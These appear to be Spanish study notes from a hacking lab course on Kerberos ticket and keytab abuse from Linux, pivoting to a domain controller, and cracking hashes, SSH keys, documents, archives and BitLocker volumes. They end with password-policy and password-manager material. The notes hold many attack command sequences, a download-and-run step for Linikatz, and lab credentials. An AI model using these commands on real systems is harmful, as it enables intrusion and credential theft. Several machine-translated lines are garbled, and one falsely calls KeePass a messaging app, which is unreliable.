Nota: kinit distingue entre mayúsculas y minúsculas, así que asegúrese de utilizar el nombre
del principal como se muestra en klist. En este caso, el nombre de usuario está en minúsculas
y el nombre de dominio está en mayúsculas.
Suplantar a un usuario con una tabla de claves (keytab)

klist
kinit carlos@[Link] -k -t /opt/specialfiles/[Link]
klist

Podemos intentar acceder a la carpeta compartida \\dc01\carlos para confirmar nuestro

acceso.

Conectándose a SMB Share como Carlos

smbclient //dc01/carlos -k -c ls

Nota: Para conservar el ticket de la sesión actual, antes de importar la tabla de claves,
guarde una copia del archivo ccache presente en la variable de entorno KRB5CCNAME.

Extracto de tabla de claves

El segundo método que usaremos para abusar de Kerberos en Linux es extraer los secretos
de un archivo keytab. Pudimos hacernos pasar por Carlos usando los tickets de la cuenta
para leer una carpeta compartida en el dominio, pero si queremos obtener acceso a su
cuenta en la máquina Linux, necesitaremos su contraseña.

Podemos intentar descifrar la contraseña de la cuenta extrayendo los hashes del archivo
keytab. Usemos KeyTabExtract , una herramienta para extraer información valiosa de
archivos .keytab de tipo 502, que pueden usarse para autenticar cajas de Linux en Kerberos.
El script extraerá información como el dominio, la entidad de servicio, el tipo de cifrado y
los hashes.

Extracción de hashes de Keytab con KeyTabExtract

python3 /opt/[Link] /opt/specialfiles/[Link]

Con el hash NTLM, podemos realizar un ataque Pass the Hash. Con el hash AES256 o AES128
podemos falsificar nuestros tickets usando Rubeus o intentar descifrar los hashes para
obtener la contraseña en texto plano.

Nota: Un archivo de tabla de claves puede contener diferentes tipos de hashes y se puede
combinar para contener varias credenciales incluso de diferentes usuarios.

El hash más sencillo de descifrar es el hash NTLM. Podemos utilizar herramientas

como Hashcat o John the Ripper para descifrarlo. Sin embargo, una forma rápida de
descifrar contraseñas es mediante repositorios en línea como [Link] , que
contiene miles de millones de contraseñas.

Como podemos ver en la imagen, la contraseña del usuario Carlos es Password5. Ahora
podemos iniciar sesión como Carlos.
Inicia sesión como Carlos

su - carlos@[Link]

Obtener más hashes

Carlos tiene un cronjob que utiliza un archivo de tabla de claves

llamado svc_workstations.kt. Podemos repetir el proceso, descifrar la contraseña e iniciar
sesión como svc_workstations.

Abusar del ccache de Keytab

Para abusar de un archivo ccache, todo lo que necesitamos son privilegios de lectura sobre
el archivo. Estos archivos, ubicados en /tmp, sólo pueden ser leídos por el usuario que los
creó, pero si conseguimos acceso root, podremos utilizarlos.

Una vez que iniciamos sesión con las credenciales del usuario svc_workstations, podemos
usar sudo -l y confirmar que el usuario puede ejecutar cualquier comando como root.
Podemos usar el comando sudo su para cambiar el usuario a root.

Escalada de privilegios a root

ssh svc_workstations@[Link]@[Link] -p 2222

sudo -l
sudo su
whoami
Como root, necesitamos identificar qué tickets están presentes en la máquina, a quién
pertenecen y su tiempo de vencimiento.

Buscando archivos ccache (Como root)

ls -la /tmp

Hay un usuario (julio@[Link]) al que aún no hemos obtenido acceso. Podemos

confirmar los grupos a los que pertenece mediante id.

Identificar la pertenencia a un grupo con el comando id

id julio@[Link]

Julio es miembro del grupo Domain Admins. Podemos intentar suplantar al usuario y obtener
acceso al DC01, host del controlador de dominio.

Para usar un archivo ccache, podemos copiar el archivo ccache y asignar la ruta del
archivo a la variable KRB5CCNAME.
Importando el archivo ccache a nuestra sesión actual

klist
cp /tmp/krb5cc_647401106_I8I133 .
export KRB5CCNAME=/root/krb5cc_647401106_I8I133
klist
smbclient //dc01/C$ -k -c ls -no-pass

Nota: klist muestra la información del ticket. Debemos considerar los valores "inicio válido" y
"caduca". Si la fecha de vencimiento ha pasado, el boleto no funcionará. ccache files son
temporales. Pueden cambiar o caducar si el usuario ya no los utiliza o durante las
operaciones de inicio y cierre de sesión.

Uso de herramientas de ataque de Linux con Kerberos

La mayoría de las herramientas de ataque de Linux que interactúan con Windows y Active
Directory admiten la autenticación Kerberos. Si los usamos desde una máquina unida a un
dominio, debemos asegurarnos de que nuestra variable de entorno KRB5CCNAME esté
configurada en el archivo ccache que queremos usar. En caso de que estemos atacando
desde una máquina que no es miembro del dominio, por ejemplo, nuestro host de ataque,
debemos asegurarnos de que nuestra máquina pueda comunicarse con el KDC o el
controlador de dominio y que la resolución de nombres de dominio esté funcionando.

Editamos el /etc/hosts

sudo nano /etc/hosts

Añadir una línea como la siguiente:

[Link] [Link]

Realizar la resolución de nombres con nslookup:

nslookup [Link]
Comunicación con el KDC:

Para verificar la comunicación con el KDC o el controlador de dominio, puedes usar el

comando ping o telnet hacia el puerto 88 (Kerberos) o 389 (LDAP).

ping [Link]
telnet [Link] 88

Si puedes resolver el nombre y comunicarte con el KDC en el puerto 88, significa que la
resolución de nombres de dominio y la comunicación con el controlador de dominio están
funcionando correctamente.

En este escenario, nuestro host de ataque no tiene una conexión con el

servidor KDC/Domain Controller y no podemos usar el controlador de dominio para la
resolución de nombres. Para usar Kerberos, necesitamos enviar nuestro tráfico mediante
proxy MS01 con una herramienta como Chisel y Proxychains y editar el archivo /etc/hosts
para codificar las direcciones IP del dominio y las máquinas que queremos atacar.

Archivo de host modificado

cat /etc/hosts

Necesitamos modificar nuestro archivo de configuración de proxychains para usar socks5 y

el puerto 1080.

Archivo de configuración de cadenas de proxy

cat /etc/[Link]
Debemos descargar y ejecutar chisel en nuestro host de ataque.

Descarga Chisel a nuestro Host de Ataque

wget
[Link]
gzip -d chisel_1.7.7_linux_amd64.gz
mv chisel_* chisel && chmod +x ./chisel
sudo ./chisel server --reverse

Conéctese MS01 a través de RDP y ejecute chisel (ubicado en C:\Tools).

Conéctese a MS01 con xfreerdp

xfreerdp /v:IP /u:david /d:[Link] /p:Password2 /dynamic-resolution

Ejecutar chisel desde MS01

c:\tools\[Link] client IP-Atacante:8080 R:socks

Nota: La IP del cliente es la IP del host de ataque.

Finalmente, necesitamos transferir el archivo ccache de Julio LINUX01 y crear la variable de
entorno KRB5CCNAME con el valor correspondiente a la ruta del archivo ccache.

Configuración de la variable de entorno KRB5CCNAME

export KRB5CCNAME=/home/htb-student/krb5cc_647401106_I8I133

Nota: Si no está familiarizado con las operaciones de transferencia de archivos, consulte el

módulo Transferencias de archivos .

Impacket

Para usar el ticket Kerberos, debemos especificar el nombre de nuestra máquina de destino
(no la dirección IP) y usar la opción -k. Si nos solicita una contraseña, también podemos
incluir la opción -no-pass.

Usando Impacket con proxychains y autenticación Kerberos

proxychains impacket-wmiexec dc01 -k

whoami

Nota: Si está utilizando herramientas Impacket desde una máquina Linux conectada al
dominio, tenga en cuenta que algunas implementaciones de Active Directory de Linux
utilizan el prefijo ARCHIVO: en la variable KRB5CCNAME. Si este es el caso, necesitamos
modificar la variable solo para incluir la ruta al archivo ccache.
Evil-Winrm

Para utilizar evil-winrm con Kerberos, necesitamos instalar el paquete Kerberos utilizado para
la autenticación de red. Para algunos Linux como los basados en Debian (Parrot, Kali, etc.),
se llama krb5-user. Durante la instalación, recibiremos un mensaje para el ámbito de
Kerberos. Utilice el nombre de dominio: [Link] y el KDC es el DC01.

Instalación del paquete de autenticación Kerberos

sudo apt-get install krb5-user -y

Default Kerberos Version 5 realm

Los servidores Kerberos pueden estar vacíos.

Administrative Server for your Kerberos Realm

En caso de que el paquete krb5-user ya esté instalado, debemos cambiar el archivo de

configuración /etc/[Link] para incluir los siguientes valores:

Archivo de configuración Kerberos para [Link]

 cat /etc/[Link]

Ahora podemos usar evil-winrm.

Usando Evil-WinRM con Kerberos

proxychains evil-winrm -i dc01 -r [Link]

Miscellaneous

Si queremos usar a ccache file en Windows o kirbi file en una máquina Linux, podemos
usar impacket-ticketConverter (impacket/examples/[Link]) para convertirlos.
Para usarlo, especificamos el archivo que queremos convertir y el nombre del archivo de
salida. Convirtamos el archivo ccache de Julio a kirbi.

Convertidor de billetes de impacto

impacket-ticketConverter krb5cc_647401106_I8I133 [Link]

Podemos hacer la operación inversa seleccionando primero un archivo .kirbi file. Usemos el
archivo .kirbi en Windows.

Importación de ticket convertido a sesión de Windows con Rubeus

C:\tools\[Link] ptt /ticket:c:\tools\[Link]

klist
dir \\dc01\julio
Linikatz

Linikatz es una herramienta creada por el equipo de seguridad de Cisco para explotar
credenciales en máquinas Linux cuando hay integración con Active Directory. En otras
palabras, Linikatz aporta un principio similar a Mimikatz los entornos UNIX.

Al igual que Mimikatz, para aprovechar Linikatz, necesitamos ser root en la máquina. Esta
herramienta extraerá todas las credenciales, incluidos los tickets de Kerberos, de diferentes
implementaciones de Kerberos como FreeIPA, SSSD, Samba, Vintella, etc. Una vez que
extrae las credenciales, las coloca en una carpeta cuyo nombre comienza con linikatz.
Dentro de esta carpeta encontrará las credenciales en los diferentes formatos disponibles,
incluidos ccache y keytabs. Estos se pueden utilizar, según corresponda, como se explicó
anteriormente.

Descarga y ejecución de Linikatz

wget [Link]
/opt/[Link]
Comando de linux para saber el usuario actual a que grupos está permitido:

realm list

Keytabs

Un archivo keytab (abreviatura de key table) es un archivo utilizado en sistemas que

implementan el protocolo de autenticación Kerberos. Contiene claves secretas (o tickets)
asociadas a una cuenta, que permiten a un sistema o servicio autenticarse en un dominio
Kerberos sin requerir la intervención del usuario (es decir, sin necesidad de proporcionar una
contraseña manualmente).

Comando para encontrar archivos keytab en sistemas linux

find / -name *keytab 2>/dev/null

find / -name "*.keytab" 2>/dev/null

Código del [Link]

Copiamos el NTLM HASH: a738f92b3c08b424ec2d99589a9cce60 en un archivo [Link] para

crackearlo:

hashcat -m 1000 [Link] mut_password.list

hashcat -m 1000 [Link] --show

Crontab

Saber los crontab del usuario actual

crontab -l

Tickets

para importar el ticket Kerberos de User desde el directorio /tmp, y luego usar ese ticket
para acceder a la carpeta compartida \\DC01\user y leer el archivo [Link]

Vamos a cd ~ y tipeamos lo siguiente para copiar los tickets y poder usarlos para
conectarnos al DC01 y ver archivos compartidos para el usuario julio:

cd ~
cp /tmp/krb5cc_647401106_HRJDux .
cp /tmp/krb5cc_647401106_QuwYhV .
export KRB5CCNAME=/root/krb5cc_647401106_HRJDux
export KRB5CCNAME=/root/krb5cc_647401106_QuwYhV
klist
smbclient //DC01/julio -k
more [Link]

[Link]

Utilizando la herramienta [Link] descubrimos el usuario default o principal (linux01) y su

ruta de ticket ccache.
Vamos a la ruta cd ~ y copiamos el ticket ccache lo exportamos, verificamos kerberos con
klist e ingresamos al recurso compartido de linux01:

cd ~
cp /var/lib/sss/db/ccache_INLANEFREIGHT.HTB .
export KRB5CCNAME=/root/ccache_INLANEFREIGHT.HTB
klist
smbclient //DC01/linux01 -k -c
mget [Link]

Protected Files

En busca de archivos codificados

for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile
extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

Buscando claves SSH

grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"

La mayoría de las claves SSH que encontramos hoy en día están cifradas. Podemos
reconocerlas por el encabezado de la clave SSH, ya que muestra el método de cifrado
utilizado.

RSAcrack (Podremos hacer ataque de fuerza bruta a estas llaves SSH)

Claves SSH cifradas

Si vemos un encabezado de este tipo en una clave SSH, en la mayoría de los casos no
podremos usarla inmediatamente sin realizar ninguna acción adicional. Esto se debe a que
las claves SSH cifradas están protegidas con una frase de contraseña que se debe ingresar
antes de usarlas. Sin embargo, muchas personas suelen ser descuidadas en la selección de
la contraseña y su complejidad porque SSH se considera un protocolo seguro y muchos no
saben que incluso el protocolo ligero AES-128-CBC puede descifrarse.

Cracking con John

John The Ripper Tiene muchos scripts diferentes para generar hashes a partir de archivos
que luego podemos usar para descifrar. Podemos encontrar estos scripts en nuestro sistema
usando el siguiente comando.

locate *2john*

Podemos convertir muchos formatos diferentes en hashes únicos e intentar descifrar las
contraseñas con esto. Luego, podemos abrir, leer y usar el archivo si tenemos éxito. Existe
un script de Python llamado [Link] para claves SSH, que genera los hashes
correspondientes para claves SSH cifradas, que luego podemos almacenar en archivos.

[Link] [Link] > [Link]

cat [Link]

A continuación, debemos personalizar los comandos de acuerdo con la lista de

contraseñas y especificar nuestro archivo con los hashes como el objetivo a descifrar.
Después de eso, podemos mostrar los hashes descifrados especificando el archivo hash y
usando la opción --show.

john --wordlist=[Link] [Link]

john [Link] --show
Descifrado de documentos

A lo largo de nuestra carrera profesional nos encontraremos con muchos documentos

diferentes, que además están protegidos con contraseña para impedir el acceso a ellos
por parte de personas no autorizadas. Hoy en día, la mayoría de las personas utilizan
archivos Office y PDF para intercambiar información y datos comerciales.
Casi todos los informes, la documentación y las hojas de información se pueden encontrar
en formato DOC y PDF de Office, ya que ofrecen la mejor representación visual de la
información. John proporciona un script de Python llamado [Link] para extraer
hashes de todos los documentos comunes de Office que luego se pueden introducir en
John o Hashcat para descifrarlos sin conexión. El procedimiento para descifrarlos sigue
siendo el mismo.

Cómo descifrar documentos de Microsoft Office

[Link] [Link] > [Link]

cat [Link]
john --wordlist=[Link] [Link]
john [Link] --show
Descifrado de archivos PDF

[Link] [Link] > [Link]

cat [Link]
john --wordlist=[Link] [Link]
john [Link] --show
NOTA: algo de John y hashcat

Luego de ir a CrackStation y descargar todos los hashes de la página, podremos realizar un

ataque a los hashes de forma offline, como podemos ver a continuación.

John

john --wordlist=[Link] [Link]

john --format=raw-md5 --wordlist=[Link] [Link]

hashcat

hashcat -m 0 -a 0 -o [Link] [Link] [Link] --status

Comando para buscar coincidencias en el diccionario [Link]

grep -F -n -i "qwerty" /usr/share/wordlists/[Link]

grep -F -i "qwerty" /usr/share/wordlists/[Link]

John the Ripper y Hashcat son dos de las herramientas más populares para crackear hashes
y contraseñas, pero tienen enfoques ligeramente diferentes y soporte para diversos tipos de
hashes. A continuación, te explico los tipos de hashes que ambas herramientas pueden
crackear y algunas diferencias importantes entre ellas:

1. John the Ripper

John the Ripper es muy versátil y flexible, especialmente para sistemas operativos Unix/Linux,
pero también es efectivo para hashes de Windows y otros sistemas. Se especializa en la
detección automática del tipo de hash y es una buena opción para ataques contra
contraseñas locales o hashes que suelen encontrarse en sistemas y bases de datos.

Tipos comunes de hashes soportados por John the Ripper:

• Unix/Linux:
o /etc/passwd y /etc/shadow hashes:
▪ DES-based (DEScrypt)
▪ MD5-based (MD5crypt)
▪ Blowfish (bcrypt)
▪ SHA-256 y SHA-512
• Windows:
o LM (LAN Manager)
o NTLM (NT hash)
• Bases de datos:
o MySQL (v4, v5)
o PostgreSQL
o Oracle (DES-based, MD5-based)
• Formatos de archivos protegidos por contraseña:
o ZIP
o RAR
o PDF
 o Office (MS Office hashes)
• Otros:
o WPA/WPA2 (con par de handshake capturado)
o Criptomonedas (algoritmos de wallet)

Fortalezas de John the Ripper:

• Detección automática de hashes: John the Ripper detecta automáticamente

muchos tipos de hashes sin necesidad de especificar un modo manual.
• Cracking de sistemas Unix/Linux: Tiene un soporte muy fuerte para crackear
contraseñas de sistemas basados en Unix y Linux.
• Soporte extendido con plugins: John the Ripper puede ser extendido con módulos
adicionales como Jumbo, lo que incrementa su capacidad para soportar nuevos
tipos de hashes.

2. Hashcat

Hashcat es una herramienta optimizada para el uso de GPUs (aunque también puede
usarse en CPU), lo que lo convierte en una de las herramientas más rápidas para crackear
contraseñas. Se destaca por su capacidad para realizar ataques masivos y su amplia
compatibilidad con diversos tipos de hashes, especialmente aquellos usados en
aplicaciones modernas y sistemas en la nube.
Tipos comunes de hashes soportados por Hashcat:
• Contraseñas de sistemas:
o NTLM (Windows NT hashes)
o LM (LAN Manager)
o MD5
o SHA-1
o SHA-256, SHA-512
o bcrypt (Blowfish)
• Contraseñas de criptomonedas y aplicaciones:
o Bitcoin/Litecoin wallets (multihash)
o Blockchain keys
• Bases de datos:
o MySQL (v3, v4, v5)
o MSSQL (2000, 2005, 2012)
o Oracle (11g)
• Criptografía avanzada:
o PBKDF2 (SHA-256 y SHA-512)
o Argon2
o WPA/WPA2 (con el handshake capturado)
o Kerberos 5 AS-REP
o Cisco, Juniper hashes
• Documentos cifrados:
o ZIP, 7-Zip, RAR
o PDF
o Office (Excel, Word, PowerPoint con protección)
Fortalezas de Hashcat:
 • Uso de GPU: Hashcat está altamente optimizado para el uso de GPUs, lo que le
permite crackear hashes de manera mucho más rápida que herramientas basadas
solo en CPU.
• Soporte para algoritmos modernos: Hashcat soporta muchos de los algoritmos más
modernos y seguros, como bcrypt, Argon2, y otros hashes de alta seguridad.
• Escalabilidad: Gracias a su uso de GPU y su diseño modular, es ideal para
operaciones masivas y distribuibles, por lo que es preferido para ataques masivos.

3. Diferencias clave entre John the Ripper y Hashcat:

Aspecto John the Ripper Hashcat

CPU (también soporta GPU con Principalmente GPU (también
Optimización
algunos parches) soporta CPU)
Más lento en algunos casos, pero
Velocidad Más rápido, especialmente con GPUs
eficiente en CPU
Requiere especificar modo y tipo de
Facilidad de uso Más sencillo para principiantes
hash
Soporte de Amplio soporte para sistemas
Fuerte para sistemas Unix y Linux
hashes modernos
Bueno para ataques en sistemas Excelente para ataques masivos en
Escalabilidad
pequeños grandes entornos

4. ¿Cuándo usar John the Ripper o Hashcat?

• John the Ripper es ideal si necesitas crackear hashes relacionados con sistemas
operativos (Unix, Linux) o si trabajas con contraseñas locales y archivos protegidos.
• Hashcat es la mejor opción si tienes acceso a una GPU y necesitas crackear grandes
cantidades de hashes rápidamente, o si trabajas con algoritmos modernos y más
seguros como bcrypt, Argon2, o hashes utilizados en criptomonedas y aplicaciones
avanzadas.
 Archivos protegidos

Existen muchos tipos de archivos comprimidos. Algunas extensiones de archivo comunes

incluyen, entre otras:

tar gz rar zip

vmdb/vmx cpt truecrypt bitlocker
kdbx luks deb 7z
pkg rpm war gzip

En [Link] se puede encontrar una lista extensa de tipos de archivos. Sin embargo, en
lugar de escribirlos manualmente, también podemos consultarlos con un solo comando,
filtrarlos y guardarlos en un archivo si es necesario. Al momento de escribir este artículo, hay
337 tipos de archivos de almacenamiento enumerados en [Link].

Descargar todas las extensiones de archivo (Sirve para ataques de diccionario, comprobar
que archivos permite subir una web por ejemplo)

curl -s [Link] | html2text | awk '{print tolower($1)}' |

grep "\." | tee -a compressed_ext.txt

Es importante tener en cuenta que no todos los archivos anteriores admiten la protección
con contraseña. A menudo se utilizan otras herramientas para proteger los archivos
correspondientes con una contraseña. Por ejemplo, con, se utiliza tar la herramienta openssl
o para cifrar los archivos gpg.

Archivos de Cracking

El formato .zip se suele utilizar mucho en entornos Windows para comprimir muchos archivos
en uno solo. El procedimiento que ya hemos visto sigue siendo el mismo, salvo que se utiliza
un script diferente para extraer los hashes.

Cracking ZIP

zip2john [Link] > [Link]

cat [Link]
john --wordlist=[Link] [Link]
john [Link] --show
Descifrado de archivos cifrados con OpenSSL

Además, no siempre es directamente evidente si el archivo encontrado está protegido con

contraseña, especialmente si se utiliza una extensión de archivo que no admite la
protección con contraseña. Como ya hemos comentado, openssl se puede utilizar para
cifrar el gzip formato a modo de ejemplo. Con la herramienta file, podemos obtener
información sobre el formato del archivo especificado. Esto podría tener este aspecto, por
ejemplo:
Al descifrar archivos y archivos cifrados con OpenSSL, podemos encontrarnos con muchas
dificultades diferentes que nos llevarán a muchos falsos positivos o incluso a no poder
adivinar la contraseña correcta. Por lo tanto, la opción más segura para el éxito es utilizar
la herramienta openssl que for-loop intenta extraer los archivos del archivo directamente si
se adivina la contraseña correctamente.

El siguiente texto de una sola línea mostrará muchos errores relacionados con el formato
GZIP, que podemos ignorar. Si hemos utilizado la lista de contraseñas correcta, como en
este ejemplo, veremos que hemos extraído con éxito otro archivo del archivo comprimido.

Uso de un bucle for para mostrar el contenido extraído

for i in $(cat [Link]);do openssl enc -aes-256-cbc -d -in [Link] -k $i 2>/dev/null| tar
xz;done

Una vez finalizado el bucle for, podemos volver a mirar la carpeta actual para verificar si el
descifrado del archivo fue exitoso.

Listado del contenido del archivo crackeado

 Cómo descifrar unidades cifradas con BitLocker

BitLocker es un programa de cifrado para particiones completas y unidades externas.

Microsoft lo desarrolló para el sistema operativo Windows. Está disponible desde Windows
Vista y utiliza un algoritmo de cifrado AES con una longitud de 128 o 256 bits. Si se olvida la
contraseña o el PIN de BitLocker, podemos utilizar la clave de recuperación para descifrar
la partición o la unidad. La clave de recuperación es una cadena de números de 48 dígitos
generada durante la configuración de BitLocker que también se puede forzar.

A menudo se crean unidades virtuales en las que se almacena información personal, notas
y documentos en el ordenador o portátil que nos proporciona la empresa para evitar el
acceso a dicha información por parte de terceros. De nuevo, podemos utilizar un script
llamado bitlocker2johnpara extraer el hash que necesitamos descifrar. Se extraerán cuatro
hashes diferentes , que se pueden utilizar con diferentes modos de hash de Hashcat. Para
nuestro ejemplo, trabajaremos con el primero, que hace referencia a la contraseña de
BitLocker.

Usando bitlocker2john

bitlocker2john -i [Link] > [Link]

grep "bitlocker\$0" [Link] > [Link]
cat [Link]

Tanto John y Hashcat se pueden utilizar para este propósito. Este ejemplo analizará el
procedimiento con Hashcat. El modo Hashcat para descifrar hashes de BitLocker es -m
22100. Por lo tanto, proporcionamos a Hashcat el archivo con el hash, especificamos
nuestra lista de contraseñas y especificamos el modo hash. Dado que se trata de un cifrado
robusto (AES), el descifrado puede llevar algún tiempo, según el hardware utilizado.
Además, podemos especificar el nombre de archivo en el que se debe almacenar el
resultado.

hashcat -m 22100 [Link] /seclists/Passwords/Leaked-Databases/[Link] -o

[Link]
john --wordlist=mut_password.list [Link]
Visualización del hash crackeado

cat [Link]

Una vez que hayamos descifrado la contraseña, podremos abrir las unidades cifradas. La
forma más sencilla de montar una unidad virtual cifrada con BitLocker es transferirla a un
sistema Windows y montarla. Para ello, tan solo tenemos que hacer doble clic sobre la
unidad virtual. Como está protegida con contraseña, Windows nos mostrará un error. Tras
el montaje, podemos volver a hacer doble clic en BitLocker para que nos solicite la
contraseña.

Visualizar el contenido:

apt install cryptsetup -y

apt install ntfs-3g-dev
modprobe nbd
qemu-nbd -c /dev/nbd0 /home/botache/programas/hashcat/Password-
Attacks/[Link]
lsblk

cryptsetup bitlkOpen /dev/nbd0p2 bitty

Ingresamos aqui el password
mkdir /mnt/bitDrive
mount /dev/mapper/bitty /mnt/bitDrive
cd /mnt/
ls
cd bitDrive/
cp SAM /home/botache/programas/hashcat/Password-Attacks/SAM
cp SYSTEM /home/botache/programas/hashcat/Password-Attacks/SYSTEM
cd /home/botache/programas/hashcat/Password-Attacks/
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
nano [Link] (pegamos el hash del administrados)
hashcat -m 1000 [Link] /home/botache/programas/Password-
Attacks/mut_password.list
Windows - Montaje de BitLocker VHD

Políticas de contraseñas

Normas de política de contraseñas

Algunas normas de seguridad incluyen una sección para políticas o pautas de contraseñas.
A continuación, se incluye una lista de las más comunes:

1. Norma SP800-63B del Instituto Nacional de Normas y Tecnología

2. Guía de políticas de contraseñas de CIS
3. PCI DSS

Recomendaciones sobre políticas de contraseñas

Creemos una política de contraseñas de muestra para ilustrar algunos aspectos importantes
que se deben tener en cuenta al crear una política de contraseñas. Nuestra política de
contraseñas de muestra indica que todas las contraseñas deben:

• Mínimo de 8 caracteres.
• Incluya letras mayúsculas y minúsculas.
• Incluya al menos un número.
• Incluya al menos un carácter especial.
• No debería ser el nombre de usuario.
• Debe cambiarse cada 60 días.

Nuestro nuevo empleado, Mark, que recibió un error al crear el correo electrónico con la
contraseña password123, ahora elige la siguiente contraseña Inlanefreight01! y registra su
cuenta correctamente. Aunque esta contraseña cumple con las políticas de la empresa,
no es segura y es fácil de adivinar porque utiliza el nombre de la empresa como parte de
la contraseña. Aprendimos en la sección "Mutaciones de contraseñas" que esta es una
práctica común de los empleados y los atacantes están al tanto de esto.
Una vez que esta contraseña alcanza el tiempo de vencimiento, Mark puede cambiar 01
a 02 y su contraseña cumple con la política de contraseñas de la empresa, pero la
contraseña es casi la misma.

Con base en este ejemplo, debemos incluir, como parte de nuestras políticas de
contraseñas, algunas palabras en la lista negra, que incluyen, entre otras:

• Nombre de la empresa
• Palabras comunes asociadas a la empresa
• Nombres de los meses
• Nombres de las estaciones
• Variaciones de la palabra bienvenida y contraseña
• Palabras comunes y adivinables como contraseña, 123456 y abcde

Aplicación de la política de contraseñas

La mayoría de las aplicaciones y administradores de identidad proporcionan métodos para

aplicar nuestra política de contraseñas.

Por ejemplo, si usamos Active Directory para la autenticación, necesitamos configurar

una GPO de política de contraseñas de Active Directory , para obligar a nuestros usuarios
a cumplir con nuestra política de contraseñas.

Una vez cubierto el aspecto técnico, necesitamos comunicar la política a la empresa y

crear procesos y procedimientos para garantizar que nuestra política de contraseñas se
aplique en todas partes.

Creando una buena contraseña

Crear una buena contraseña puede ser fácil. Utilicemos PasswordMonster , un sitio web que
nos ayuda a comprobar la solidez de nuestras contraseñas, y 1Password Password
Generator , otro sitio web para generar contraseñas seguras.
CjDC2x[U La contraseña generada por la herramienta es buena. Se necesitaría mucho
tiempo para descifrarla y probablemente no se adivinaría ni se obtendría en un ataque de
rociado de contraseñas, pero es difícil de recordar.

Gestores de contraseñas

Parece que hoy en día todo requiere una contraseña. Usamos contraseñas para el wifi de
casa, las redes sociales, las cuentas bancarias, los correos electrónicos de trabajo e incluso
nuestras aplicaciones y sitios web favoritos. Según este estudio de NordPass , la persona
promedio tiene 100 contraseñas, lo que es una de las razones por las que la mayoría de las
personas reutilizan contraseñas o crean contraseñas simples.

Con todo esto en mente, necesitamos contraseñas diferentes y seguras, pero no todo el
mundo puede memorizar cientos de contraseñas que cumplan con la complejidad
requerida para que una contraseña sea segura. Necesitamos algo que nos pueda ayudar
a organizar nuestras contraseñas de forma segura. Un gestor de contraseñas es una
aplicación que permite a los usuarios almacenar sus contraseñas y secretos en una base de
datos cifrada. Además de mantener nuestras contraseñas y datos sensibles a salvo, también
cuentan con funciones para generar y gestionar contraseñas robustas y únicas, 2FA, rellenar
formularios web, integración con navegadores, sincronización entre múltiples dispositivos,
alertas de seguridad, entre otras funciones.

¿Cómo funciona un administrador de contraseñas?

La implementación de los administradores de contraseñas varía según el fabricante, pero

la mayoría trabaja con una contraseña maestra para cifrar la base de datos.

El cifrado y la autenticación funcionan mediante distintas funciones de hash

criptográficas y funciones de derivación de claves para evitar el acceso no autorizado a
nuestra base de datos de contraseñas cifradas y su contenido. La forma en que esto
funciona depende del fabricante y de si el administrador de contraseñas está en línea o
fuera de línea.
Analicemos los administradores de contraseñas más comunes y cómo funcionan.

Gestores de contraseñas en línea

Uno de los elementos clave a la hora de decidirse por un gestor de contraseñas es la

comodidad. Una persona típica tiene 3 o 4 dispositivos y los utiliza para iniciar sesión en
diferentes sitios web, aplicaciones, etc. Un gestor de contraseñas online permite al usuario
sincronizar su base de datos de contraseñas cifradas entre varios dispositivos. La mayoría de
ellos ofrecen:

• Una aplicación móvil.

• Un complemento del navegador.
• Algunas otras características que discutiremos más adelante en esta sección.

Todos los proveedores de gestores de contraseñas tienen su propia forma de gestionar la

implementación de la seguridad y suelen proporcionar un documento técnico que
describe cómo funciona. Puedes consultar la documentación
de Bitwarden , 1Password y LastPass como referencia, pero hay muchos otros. Hablemos de
cómo funciona esto en general.

Una implementación común para los administradores de contraseñas en línea es la

derivación de claves basadas en la contraseña maestra. Su propósito es proporcionar
un cifrado de conocimiento cero , lo que significa que nadie, excepto usted (ni siquiera el
proveedor de servicios), puede acceder a sus datos protegidos. Para lograr esto,
generalmente derivan la contraseña maestra. Usemos la implementación técnica de
Bitwarden para la derivación de contraseñas para explicar cómo funciona:

1. Clave maestra: creada por alguna función para convertir la contraseña maestra en
un hash.
2. Hash de contraseña maestra: creado por alguna función para convertir la
contraseña maestra con una combinación de la clave maestra en un hash para
autenticarse en la nube.
3. Clave de descifrado: creada por alguna función que utiliza la clave maestra para
formar una clave simétrica para descifrar los elementos de la bóveda.
Esta es una manera sencilla de ilustrar cómo funcionan los administradores de contraseñas,
pero la implementación habitual es más compleja. Puede consultar los documentos
técnicos anteriores o ver el video Cómo funcionan los administradores de contraseñas -
Computerphile.

Los administradores de contraseñas en línea más populares son:

1. 1Contraseña
2. Guardián de bits
3. Dashlane
4. Guardián
5. Último pase
6. NordPass
7. RoboForm

Gestores de contraseñas locales

Algunas empresas y personas prefieren gestionar su seguridad por diferentes motivos y no

depender de servicios de terceros. Los administradores de contraseñas locales ofrecen esta
opción almacenando la base de datos localmente y poniendo en manos del usuario la
responsabilidad de proteger su contenido y la ubicación donde se
almacena. Dashlane escribió una publicación en el blog Almacenamiento en el
administrador de contraseñas: nube frente a almacenamiento local que puede ayudarle a
descubrir las ventajas y desventajas de cada almacenamiento. La publicación del blog
afirma: "Al principio puede parecer que esto hace que el almacenamiento local sea más
seguro que el almacenamiento en la nube, pero la ciberseguridad no es una disciplina
sencilla". Puede utilizar este blog para comenzar su investigación y comprender qué
método serviría mejor para los diferentes escenarios en los que necesita gestionar
contraseñas.
Los administradores de contraseñas locales cifran el archivo de la base de datos mediante
una clave maestra. La clave maestra puede estar formada por uno o varios componentes:
una contraseña maestra, un archivo de clave, un nombre de usuario, una contraseña, etc.
Normalmente, se necesitan todas las partes de la clave maestra para acceder a la base
de datos.

El cifrado de los gestores de contraseñas locales es similar a las implementaciones en la

nube. La diferencia más notable es la transmisión de datos y la autenticación. Para cifrar la
base de datos, los gestores de contraseñas locales se centran en proteger la base de datos
local mediante distintas funciones hash criptográficas (según el fabricante). También utilizan
la función de derivación de claves (sal aleatoria) para evitar el precomputado de claves y
dificultar los ataques de diccionario y adivinación. Algunos ofrecen protección de memoria
y protección de keylogger mediante un escritorio seguro, similar al Control de cuentas de
usuario (UAC) de Windows.

Los administradores de contraseñas locales más populares son:

1. KeepPass® es una aplicación de mensajería instantánea que permite a los usuarios

enviar y recibir mensajes de texto, llamadas, música y videos de forma gratuita.
2. Administrador de KWallet
3. Servidor de contraseñas agradable
4. Contraseña segura

Características

Imaginemos que utilizamos Linux, Android y Chrome OS. Accedemos a todas nuestras
